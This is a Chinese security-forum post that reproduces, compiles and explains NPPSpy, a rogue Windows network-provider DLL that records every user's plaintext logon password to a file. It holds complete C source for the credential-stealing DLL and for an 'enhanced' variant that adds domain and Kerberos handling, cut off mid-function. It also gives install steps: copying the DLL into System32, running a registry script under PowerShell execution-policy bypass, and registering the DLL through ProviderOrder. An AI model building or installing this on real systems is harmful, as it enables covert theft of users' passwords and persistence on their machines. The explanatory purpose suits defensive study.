文章首发于奇安信攻防社区:https://forum.butian.net/share/1012

0x00 前言

前几天刷 twitter 的时候,发现 @0gtweet 大佬发了一个视频,关于 win11 获取明文账户密码的,链接为 https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy ,于是复现了一波。但当我打开大佬写的c代码的时候,我大大的脑袋,充满了大大的问号?搜了一圈,没看到有讲原理的文章,于是有了本文。

本人知识有限,如果有错误的地方,请各位大佬之处!

image-20211220001743984

0x01 复现(可选)

在探究其原理前,我们先简单的复现一波。如果有的同学想直接看原理,可以跳过本节。

  1. https://github.com/gtworek/PSBits/tree/master/PasswordStealingNPPSPy 文件夹下载下来

    image-20211220004138570

  2. 管理员权限,把 NPPSPY.dll 复制到 C:\Windows\System32 目录下

     copy .\NPPSPY.dll C:\windows\System32\

    image-20211220004028076

  3. 管理员权限,执行 ConfigureRegistrySettings.ps1 脚本

        powershell.exe -Exec Bypass .\ConfigureRegistrySettings.ps1

    image-20211220003947606

  4. 注销账户/重启系统,重新登录

  5. 在 C 盘下可以看到 NPPSpy.txt,里面记录了刚刚登录的账号和密码

    image-20211220003811497

0x02 编译(可选)

这一节内容同样是可选的,如果已经会了的同学,可以直接跳过。

编译的方法有两种,一种是作者在readme中写到的,直接用 cl.exe ,另一种就是我们平时用vs的动态链接库项目模板了。当然,这两者的前提是,都装了vs。

这里先把NPPSPy.c的代码贴出来

#include <Windows.h>

// from npapi.h
#define WNNC_SPEC_VERSION                0x00000001
#define WNNC_SPEC_VERSION51              0x00050001
#define WNNC_NET_TYPE                    0x00000002
#define WNNC_START                       0x0000000C
#define WNNC_WAIT_FOR_START              0x00000001

//from ntdef.h
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
    MsV1_0InteractiveLogon = 2,
    MsV1_0Lm20Logon,
    MsV1_0NetworkLogon,
    MsV1_0SubAuthLogon,
    MsV1_0WorkstationUnlockLogon = 7,
    MsV1_0S4ULogon = 12,
    MsV1_0VirtualLogon = 82,
    MsV1_0NoElevationLogon = 83,
    MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON
{
    MSV1_0_LOGON_SUBMIT_TYPE MessageType;
    UNICODE_STRING LogonDomainName;
    UNICODE_STRING UserName;
    UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;


void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
{
    HANDLE hFile;
    DWORD dwWritten;

    hFile = CreateFile(TEXT("C:\\NPPSpy.txt"),
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile != INVALID_HANDLE_VALUE)
    {
        SetFilePointer(hFile, 0, NULL, FILE_END);
        WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);
        WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
        WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);
        WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
        CloseHandle(hFile);
    }
}


__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
    {
        case WNNC_SPEC_VERSION:
            return WNNC_SPEC_VERSION51;

        case WNNC_NET_TYPE:
            return WNNC_CRED_MANAGER;

        case WNNC_START:
            return WNNC_WAIT_FOR_START;

        default:
            return 0;
    }
}


__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR* lpLogonScript
)
{
    SavePassword(
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
    );
    lpLogonScript = NULL;
    return WN_SUCCESS;
}

命令行(cl.exe)

打开开始菜单的Visual Studio 2019文件夹下的x64 Native Tools Command Prompt for VS 2019

image-20211220004620166

执行以下命令即可生成dll:

cl.exe /LD NPPSpy.c

image-20211220004914855

vs2019

image-20211220004944753

这里用模板新建完成之后,会看到两个头文件,两个源文件。其中的 pch.h 是用于预编译,是处于性能的考虑。

image-20211220010448244

因此我们需要做出选择,要不要用自带的模板(预编译头)?

不用预编译头

如果不用的话,就把其中的头文件和源文件都删掉,把 NPPSpy.c 拖进源文件中,然后右键项目—>属性—>配置属性—>C/C++—>预编译头—>预编译头右边选择不使用预编译头

image-20211220005207839

image-20211220005243812

这样就可以直接在选择完编译版本和架构之后,直接生成 dll 了

image-20211220005501419

image-20211220005517186

在项目文件夹下可以找到对应的dll

image-20211220005644681

用默认的预编译头

这里只需要注意一点,因为源文件后缀是.cpp,因此需要在 NPLogonNotifyNPGetCaps 函数声明前面加上 extern "C",告诉编译器这部分代码按C语言的进行编译,不然会有问题。

这里我新建了一个项目,名称是CMPSpy,并且把 dllmain.cpp 改名成了 cmpspy.cpp,如下图

image-20211220010153513

然后我把原作者的 NPPSPy.c 代码内容,拆开,放到了 framework.hcmpspy.cpp

framework.h 文件代码如下:

#pragma once

#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

// from npapi.h
#define WNNC_SPEC_VERSION                0x00000001
#define WNNC_SPEC_VERSION51              0x00050001
#define WNNC_NET_TYPE                    0x00000002
#define WNNC_START                       0x0000000C
#define WNNC_WAIT_FOR_START              0x00000001

//from ntdef.h
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
    MsV1_0InteractiveLogon = 2,
    MsV1_0Lm20Logon,
    MsV1_0NetworkLogon,
    MsV1_0SubAuthLogon,
    MsV1_0WorkstationUnlockLogon = 7,
    MsV1_0S4ULogon = 12,
    MsV1_0VirtualLogon = 82,
    MsV1_0NoElevationLogon = 83,
    MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON
{
    MSV1_0_LOGON_SUBMIT_TYPE MessageType;
    UNICODE_STRING LogonDomainName;
    UNICODE_STRING UserName;
    UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;

// 注意这里新增了 extern "C" 
extern "C" __declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
);

// 注意这里新增了 extern "C" 
extern "C" __declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR * lpLogonScript
);

cmpspy.cpp 代码如下:

// cmpspy.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"


void SavePassword(PUNICODE_STRING logondomainname, PUNICODE_STRING username, PUNICODE_STRING password)
{
    HANDLE hFile;
    DWORD dwWritten;

    hFile = CreateFile(TEXT("C:\\CMPSpy.txt"),
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile != INVALID_HANDLE_VALUE)
    {
        SetFilePointer(hFile, 0, NULL, FILE_END);
        if (logondomainname->Length > 0)
        {
            WriteFile(hFile, logondomainname->Buffer, logondomainname->Length, &dwWritten, 0);
            WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
        }

        WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);
        WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
        WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);
        WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
        CloseHandle(hFile);
    }
}


DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
    {
    case WNNC_SPEC_VERSION:
        return WNNC_SPEC_VERSION51;

    case WNNC_NET_TYPE:
        return WNNC_CRED_MANAGER;

    case WNNC_START:
        return WNNC_WAIT_FOR_START;

    default:
        return 0;
    }
}


DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR* lpLogonScript
)
{
    SavePassword(
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName),
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
    );
    lpLogonScript = NULL;
    return WN_SUCCESS;
}

眼尖的同学可能发现了,上面的代码中,我把域名也加进去了。后面的编译生成操作,和前面一样,这里就不多说了。

0x03 原理探讨

ok,经过前面的复现和编译,接下来我们研究一下原理。

在 readme 中,作者贴了一个 youtube 的视频链接:https://youtu.be/ggY3srD9dYs

里面作者讲到这个利用的大概原理:

Winlogon.exe会检查HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogonmpnotify值,然后启动对应的值的exe。如果为没有该字段,就运行 mpnotify.exe。然后 mpnotify.exe 读取注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ProviderOrder的dll,然后打开RPC通道,winlogon与之绑定并把密码传递过去,mpnotify.exe再把该密码转发到dll中。

大概如下图:

image-20211220103218928

既然如此,那我们能不能自定义一个dll去获取密码呢?于是就有了以下的利用步骤:

  1. 用户输入密码

  2. winlogon 读取注册表 打开 mpnotify.exe

  3. mpnotify 读取注册表对应的 dll,读取到了我们自己写的dll

  4. mpnotify 打开 RPC 通道

  5. winlogon 通过该通道发送认证信息

  6. mpnotify 转发给 DLL

  7. 我们的 DLL 获取到认证信息,把密码存储到硬盘中

至于是不是真滴是这样子呢?我们用当前用户打开Process Monitor,然后切换用户,再切换回来

再设置一下过滤

image-20211220013915955

可以看到效果确实如此。

image-20211220013927060

原理大概是这样了,那作者是如何根据这个原理写出的代码,和修改注册表的呢?

0x04 倒推实现过程

这一小节,我会在作者已经实现效果的前提下,倒推出作者是如何发现并实现的过程,有点事后诸葛亮的感觉。

其实主要是分析,NPPSPy.c代码为啥要这样写,注册表为啥要这样设置。

注意:整个过程,会穿插大量的微软官方文档,跟着文档跳来跳去就行!!

Credential Manager(凭证管理器)

首先是 https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-managerCredential Manager(凭证管理器)

image-20211220104054277

主要关注三点:

  1. Credential Manager(凭证管理器)Network Provider(网络提供商)很像;
  2. 当身份验证信息更改时(用户登录或修改密码),Winlogon 会通知 Multiple Provider Router(MPR),MPR 为每个Credential Manager(凭证管理器)调用对应的处理函数;
  3. 如果要实现一个 Credential Manager ,需要实现对应的 API。

这里就会有两个疑惑,Network Provider(网络提供商)是啥?Multiple Provider Router(MPR)是啥?别急,我们慢慢看。

Network Providers 和 Multiple Provider Router

先看 Network Providers,在左边目录可以找到两个相关的内容--Network Provider APINetwork Providers,链接为 https://docs.microsoft.com/en-us/windows/win32/secauthn/network-provider-apihttps://docs.microsoft.com/en-us/windows/win32/secauthn/network-providers。我们分别点进去看看

image-20211220110202875

image-20211220110641903

总的来说,就以下几点:

  1. Network Provider是一个支持特定网络协议的DLL,里面封装了网络操作的具体细节。因此,Windows 系统就可以支持多种网络协议,而无需了解每个网络协议相关细节了。要支持新的网络协议,只需生成一个 Network Provider DLL。当然,该 DLL 需要实现 Network Provider API,这使其能够与 Windows 系统用标准网络请求进行交互,例如连接或断开连接请求等。
  2. Multiple Provider Router(MPR)就是用于处理 Windows 系统和已安装的 Network Provider 之间的通信。对应到上面作者说的,开 RPC 通道的,估计就是这玩意。

至此,我们先捋一捋大体的思路,先忽略具体的细节。

Windows 系统为了方便支持多种网络协议,引入了 Network Provider 的概念,如果要支持新的网络协议,只需要增加一个实现了 Network Provicer API 的 DLL就行。但这里我们的最终目的要获取明文的密码,所以我们关注的重点在和 Network Provider 很像的 Credential Manager 身上。

Credential Manager API

同样地,我们要用 Credential Manager ,就需要实现 Credential Manager API ,生成一个DLL。链接在:https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-management-api

image-20211220113925993

这里有两个函数,NPLogonNotifyNPPasswordChangeNofity,分别对应登录和密码修改,链接是 https://docs.microsoft.com/en-us/windows/desktop/api/Npapi/nf-npapi-nplogonnotifyhttps://docs.microsoft.com/en-us/windows/desktop/api/Npapi/nf-npapi-nppasswordchangenotify

这两个具体的api,可以待会再说。先看看最底下那段话,给了两个链接,实现一个 Credenital Manager https://docs.microsoft.com/en-us/windows/win32/secauthn/implementing-a-credential-manager注册 Credential Manager https://docs.microsoft.com/en-us/windows/win32/secauthn/registering-network-providers-and-credential-managers

NPGetCaps

实现一个 Credenital Manager https://docs.microsoft.com/en-us/windows/win32/secauthn/implementing-a-credential-manager 下面提到,Credential Manager 通过将 nIndex 参数设置为 WNNC_START 调用NPGetCaps告诉 MPR 我们实现的 Credenital Manager 啥时候启动

image-20211220114734171

我们可以点击文中的NPGetCaps链接 https://docs.microsoft.com/en-us/windows/desktop/api/Npapi/nf-npapi-npgetcaps ,看看还需要处理哪些nIndex

首先WNNC_START,让它return 0x1,表示 provider 已经启动了

image-20211220115754721

然后是WNNC_SPEC_VERSION,表示 Credential Manager 支持的 WNet API 版本,这里直接 return WNNC_SPEC_VERSION51 即可

image-20211220115611227

最后是WNNC_NET_TYPE,该值表示 Network Provider 支持的网络类型,这里理论上应该返回 Credential Manager。

image-20211220115928838

但是我找完它列出来的所有的值,根本没有找到 NPPSpy.c 代码里面写的 WNNC_CRED_MANAGER

image-20211220120148493

image-20211220120055415

最后搞得实在没有办法了,我直接去 twitter 上找作者请教

image-20211220120403585

作者也很实诚,直接跟我说,这tm是硬测出来的。。。那我能怎么办?大佬流批呗!!!!

剩下的nIndex,对于实现一个 Credential Manager 来说,没啥用,所以直接返回0就行。

因此,这段NPGetCaps函数的代码,我们就明白是啥意思了

__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
    {
        case WNNC_SPEC_VERSION:
            return WNNC_SPEC_VERSION51;

        case WNNC_NET_TYPE:
            return WNNC_CRED_MANAGER;

        case WNNC_START:
            return WNNC_WAIT_FOR_START;

        default:
            return 0;
    }
}

Authentication Registry Keys

接着看 注册 Credential Manager https://docs.microsoft.com/en-us/windows/win32/secauthn/registering-network-providers-and-credential-managers ,这里提到,我们创建完 Network Provider 或者 Credential Manager 之后,应该修改注册表,这样 MPR 在启动时就会自己检查注册表并加载对应的 Network Provider 或者 Credential Manager 了。

因为 network providers 和 credential managers 是密切相关的,所以它们注册在注册表的相同子项中。具体是哪,待会就知道了。

image-20211220143206187

具体修改哪些注册表呢?可以根据文中给出的链接 Authentication Registry Keys https://docs.microsoft.com/en-us/windows/win32/secauthn/authentication-registry-keys 得到。

主要有两块:

  1. HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
  2. HKLM\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider

首先是第一个HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order,我们新增的 network providers 或 credential managers 的名称 应该填到 ProviderOrder 列表的后面。当 MPR 循环遍历 Providers 时,就会按照此列表中出现的顺序进行调用。

image-20211220145206383

从下图可以看到,对于我的 win10 虚拟机来说,已经内置了一堆的 ProviderOrder。上面提到,network providers 和 credential managers 是注册在相同的子项中的,因此对于我们的 credential managers 来说,我们也需要把名字填到这里。

image-20211220145316493

加上我们的名字之后如下:

image-20211220150258335

ProviderOrder 中指定的 provider 名字还不够,我们还得去 HKLM\SYSTEM\CurrentControlSet\Services 新建一个和 provider 名字一致的注册表项

image-20211220145920100

且该项至少要包含三个key,NameProviderPathClass

AuthentProviderPath 是一个可选项,对于 credential managers 来说,如果不指定,就用ProviderPath的值代替

image-20211220150522204

Name就不用多说了,Provider 的名称,ProviderPath是 DLL 的路径。对于ProviderPath来说,如果我们填入的值是引用了变量的,即用%%括起来的,如果想被解析,则该值的类型需要为REG_EXPAND_SZ,不能为REG_SZ

举个例子,如果值是%SystemRoot%\system32,类型是REG_SZ,那最后的结果就是%SystemRoot%\system32;如果类型是REG_EXPAND_SZ,那结果就是C:\WINDOWS\system32.

接着是Class,文档中给出了几个可选的值,WN_NETWORK_CLASS, WN_CREDENTIAL_CLASS, WN_PRIMARY_AUTHENT_CLASS, 和 WN_SERVICE_CLASS,因此很明显,就是WN_CREDENTIAL_CLASS

但从文档下面的Example来看,这里填的是 DWORD 类型的值,文档列出的可选值中,WN_NETWORK_CLASS是第一个,值为0x00000001,而WN_CREDENTIAL_CLASS是第二个,我只能硬猜,值为0x00000002

image-20211220151226703

当然,之后我搜了一下WN_CREDENTIAL_CLASS,发现确实是0x00000002

image-20211220151323239

image-20211220161739253

填完之后效果如下:

image-20211220150806948

NPLogonNotify

至此,我们开始看具体函数实现 NPLogonNotify,链接是 https://docs.microsoft.com/en-us/windows/desktop/api/Npapi/nf-npapi-nplogonnotify

直接看函数声明

DWORD NPLogonNotify(
  [in]  PLUID   lpLogonId,
  [in]  LPCWSTR lpAuthentInfoType,
  [in]  LPVOID  lpAuthentInfo,
  [in]  LPCWSTR lpPreviousAuthentInfoType,
  [in]  LPVOID  lpPreviousAuthentInfo,
  [in]  LPWSTR  lpStationName,
  [in]  LPVOID  StationHandle,
  [out] LPWSTR  *lpLogonScript
);

这里我们只关注lpAuthentInfo,它是一个指向登录成功的用户的凭证的指针,其结构为 MSV1_0_INTERACTIVE_LOGON: https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-msv1_0_interactive_logonKERB_INTERACTIVE_LOGON: https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-kerb_interactive_logon

image-20211220154140628

这里以_MSV1_0_INTERACTIVE_LOGON为例子,点击该链接就可以看到其定义

typedef struct _MSV1_0_INTERACTIVE_LOGON {
  MSV1_0_LOGON_SUBMIT_TYPE MessageType;
  UNICODE_STRING           LogonDomainName;
  UNICODE_STRING           UserName;
  UNICODE_STRING           Password;
} MSV1_0_INTERACTIVE_LOGON, *PMSV1_0_INTERACTIVE_LOGON;

里面又用到了MSV1_0_LOGON_SUBMIT_TYPE https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ne-ntsecapi-msv1_0_logon_submit_typeUNICODE_STRING https://docs.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string

继续查看,可以拿到对应的定义。

typedef enum _MSV1_0_LOGON_SUBMIT_TYPE {
  MsV1_0InteractiveLogon,
  MsV1_0Lm20Logon,
  MsV1_0NetworkLogon,
  MsV1_0SubAuthLogon,
  MsV1_0WorkstationUnlockLogon,
  MsV1_0S4ULogon,
  MsV1_0VirtualLogon,
  MsV1_0NoElevationLogon,
  MsV1_0LuidLogon
} MSV1_0_LOGON_SUBMIT_TYPE, *PMSV1_0_LOGON_SUBMIT_TYPE;

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

当然,这里的_MSV1_0_LOGON_SUBMIT_TYPE需要简单修改一下,文档里面说了,这东西来自于ntsecapi.h

image-20211220162656502

所以我们在vs项目中,直接include它,然后转到文档

image-20211220162409992

然后直接搜 _MSV1_0_LOGON_SUBMIT_TYPE,就可以看到 NTSecAPI.h 里面是如何定义的了,直接拿出来用就行

image-20211220162146661

typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
    MsV1_0InteractiveLogon = 2,
    MsV1_0Lm20Logon,
    MsV1_0NetworkLogon,
    MsV1_0SubAuthLogon,
    MsV1_0WorkstationUnlockLogon = 7,
    MsV1_0S4ULogon = 12,
    MsV1_0VirtualLogon = 82,
    MsV1_0NoElevationLogon = 83,
    MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

同理,对于NPGetCaps函数里面用到的一些变量,也可以include npapi.h 去里面找,这里就不再说了,直接看图

image-20211220162842525

image-20211220163317277

只需要记住一点,看完了,记得把 include 的代码给删掉,不然就出现宏重定义了

对于这个函数,还有最后一个要注意的是lpLogonScript,把它赋值为NULL,让MPR释放内存即可。

image-20211220163522836

至此,作者NPPSpy.c的代码,我想大家应该都明白是啥意思了吧。那个SavePassword就单纯是一个写文件的操作,我这里就不做过多的赘述了。

#include <Windows.h>

// from npapi.h
#define WNNC_SPEC_VERSION                0x00000001
#define WNNC_SPEC_VERSION51              0x00050001
#define WNNC_NET_TYPE                    0x00000002
#define WNNC_START                       0x0000000C
#define WNNC_WAIT_FOR_START              0x00000001

//from ntdef.h
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
    MsV1_0InteractiveLogon = 2,
    MsV1_0Lm20Logon,
    MsV1_0NetworkLogon,
    MsV1_0SubAuthLogon,
    MsV1_0WorkstationUnlockLogon = 7,
    MsV1_0S4ULogon = 12,
    MsV1_0VirtualLogon = 82,
    MsV1_0NoElevationLogon = 83,
    MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON
{
    MSV1_0_LOGON_SUBMIT_TYPE MessageType;
    UNICODE_STRING LogonDomainName;
    UNICODE_STRING UserName;
    UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;


void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
{
    HANDLE hFile;
    DWORD dwWritten;

    hFile = CreateFile(TEXT("C:\\NPPSpy.txt"),
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile != INVALID_HANDLE_VALUE)
    {
        SetFilePointer(hFile, 0, NULL, FILE_END);
        WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);
        WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
        WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);
        WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
        CloseHandle(hFile);
    }
}


__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
    {
        case WNNC_SPEC_VERSION:
            return WNNC_SPEC_VERSION51;

        case WNNC_NET_TYPE:
            return WNNC_CRED_MANAGER;

        case WNNC_START:
            return WNNC_WAIT_FOR_START;

        default:
            return 0;
    }
}


__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR* lpLogonScript
)
{
    SavePassword(
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
    );
    lpLogonScript = NULL;
    return WN_SUCCESS;
}

小结

至此,我们已经学习完了,整个利用的大概原理,作者NPPSpy.c的代码为啥要这样写,注册表为啥要这样修改。唯一的不足就是WNNC_CRED_MANAGER是作者测出来的。。。

0x05 增强

原版的NPPSpy.c,一是没有把 LogonDomainName 加上,而且没有处理Kerberos:Interactive,这里我都加上了。实现起来也很简单,给NPlogonNotify函数加上一些小判断就行。

image-20211220172100888

里面的_KERB_INTERACTIVE_LOGON定义,可以参考上面的分析,直接去NTSecAPI.h里面 copy 出来就行

framework.h如下

#pragma once

#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
#include <iostream>
using namespace std;

// from npapi.h
#define WNNC_SPEC_VERSION                0x00000001
#define WNNC_SPEC_VERSION51              0x00050001
#define WNNC_NET_TYPE                    0x00000002
#define WNNC_START                       0x0000000C
#define WNNC_WAIT_FOR_START              0x00000001

//from ntdef.h
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
    MsV1_0InteractiveLogon = 2,
    MsV1_0Lm20Logon,
    MsV1_0NetworkLogon,
    MsV1_0SubAuthLogon,
    MsV1_0WorkstationUnlockLogon = 7,
    MsV1_0S4ULogon = 12,
    MsV1_0VirtualLogon = 82,
    MsV1_0NoElevationLogon = 83,
    MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON
{
    MSV1_0_LOGON_SUBMIT_TYPE MessageType;
    UNICODE_STRING LogonDomainName;
    UNICODE_STRING UserName;
    UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;

// from NTSecAPI.h
typedef enum _KERB_LOGON_SUBMIT_TYPE {
    KerbInteractiveLogon = 2,
    KerbSmartCardLogon = 6,
    KerbWorkstationUnlockLogon = 7,
    KerbSmartCardUnlockLogon = 8,
    KerbProxyLogon = 9,
    KerbTicketLogon = 10,
    KerbTicketUnlockLogon = 11,
    //#if (_WIN32_WINNT >= 0x0501) -- Disabled until IIS fixes their target version.
    KerbS4ULogon = 12,
    //#endif
#if (_WIN32_WINNT >= 0x0600)     
    KerbCertificateLogon = 13,
    KerbCertificateS4ULogon = 14,
    KerbCertificateUnlockLogon = 15,
#endif    
#if (_WIN32_WINNT >= 0x0602)     
    KerbNoElevationLogon = 83,
    KerbLuidLogon = 84,
#endif    
} KERB_LOGON_SUBMIT_TYPE, * PKERB_LOGON_SUBMIT_TYPE;

// from NTSecAPI.h
typedef struct _KERB_INTERACTIVE_LOGON {
    KERB_LOGON_SUBMIT_TYPE MessageType;
    UNICODE_STRING         LogonDomainName;
    UNICODE_STRING         UserName;
    UNICODE_STRING         Password;
} KERB_INTERACTIVE_LOGON, * PKERB_INTERACTIVE_LOGON;

extern "C" __declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
);

extern "C" __declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR * lpLogonScript
);

cmpspy.cpp如下:

// cmpspy.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"


void SavePassword(PUNICODE_STRING logondomainname, PUNICODE_STRING username, PUNICODE_STRING password)
{
    HANDLE hFile;
    DWORD dwWritten;

    hFile = CreateFile(TEXT("C:\\CMPSpy2.txt"),
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile != INVALID_HANDLE_VALUE)
    {
        SetFilePointer(hFile, 0, NULL, FILE_END);
        if (logondomainname->Length > 0)
        {
            WriteFile(hFile, logondomainname->Buffer, logondomainname->Length, &dwWritten, 0);
            WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
        }

        WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);
        WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
        WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);
        WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
        CloseHandle(hFile);
    }
}


DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
    {
    case WNNC_SPEC_VERSION:
        return WNNC_SPEC_VERSION51;

    case WNNC_NET_TYPE:
        return WNNC_CRED_MANAGER;

    case WNNC_START:
        return WNNC_WAIT_FOR_START;

    default:
        return 0;
    }
}


DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR* lpLogonScript
)
{
    // MSV1_0:Interactive
    wstring lpAuthInfoTypeStr(lpAuthInfoType);
    wstring target = L"MSV1_0:Interactive";

    if (target == lpAuthInfoTypeStr)
    {
        SavePassword(
            &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName),
            &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
            &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
        );
    }
    else {
